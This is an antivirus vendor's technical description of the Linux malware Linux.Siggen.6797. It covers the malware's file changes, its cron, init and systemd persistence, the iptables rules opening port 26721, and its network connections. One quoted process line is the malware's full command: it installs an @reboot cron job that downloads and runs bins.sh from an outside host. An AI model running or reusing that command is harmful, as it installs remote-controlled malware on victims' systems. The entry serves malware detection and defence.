Linux.Siggen.6797
Added to the Dr.Web virus database:
2024-03-19
Virus description added:
2024-03-19
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/init.d/job
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Manages services:
- ['/bin/systemctl', 'enable', 'bot']
Launches processes:
- /sbin/xtables-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/sh /bin/bins.sh
- busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/systemctl enable bot
- /bin/sh -c /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/sh -c /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/kmod /sbin/modprobe ip_tables
- /bin/sh -c (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh; /bin/curl -k -L --output /bin/bins.sh http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh\x22\x22) | crontab -
- /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/sh -c iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- crontab -l
- /bin/sh -c /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- crontab -
- /bin/sh -c busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /sbin/initctl start bot
- chmod +x /bin/bins.sh
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.kmj8uk
- /etc/init.d/job
Deletes folders:
Creates or modifies files:
- /var/spool/cron/crontabs/tmp.kmj8uk
- /etc/init/bot.conf
- /root/.bashrc
- /lib/systemd/system/bot.service
- /etc/systemd/system/job.service
- /self
- /proc/829/cmdline
Deletes files:
Changes time of creation/access/modification of files:
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
- 0.0.0.0:26721
Establishes connection:
- 8.#.8.8:53
- 18#.##1.61.24:53
- 19#.###.175.20:35342
DNS ASK:
Sends data to the following servers:
Receives data from the following servers:
Other:
Collects information about network activity
Curing recommendations
Linux
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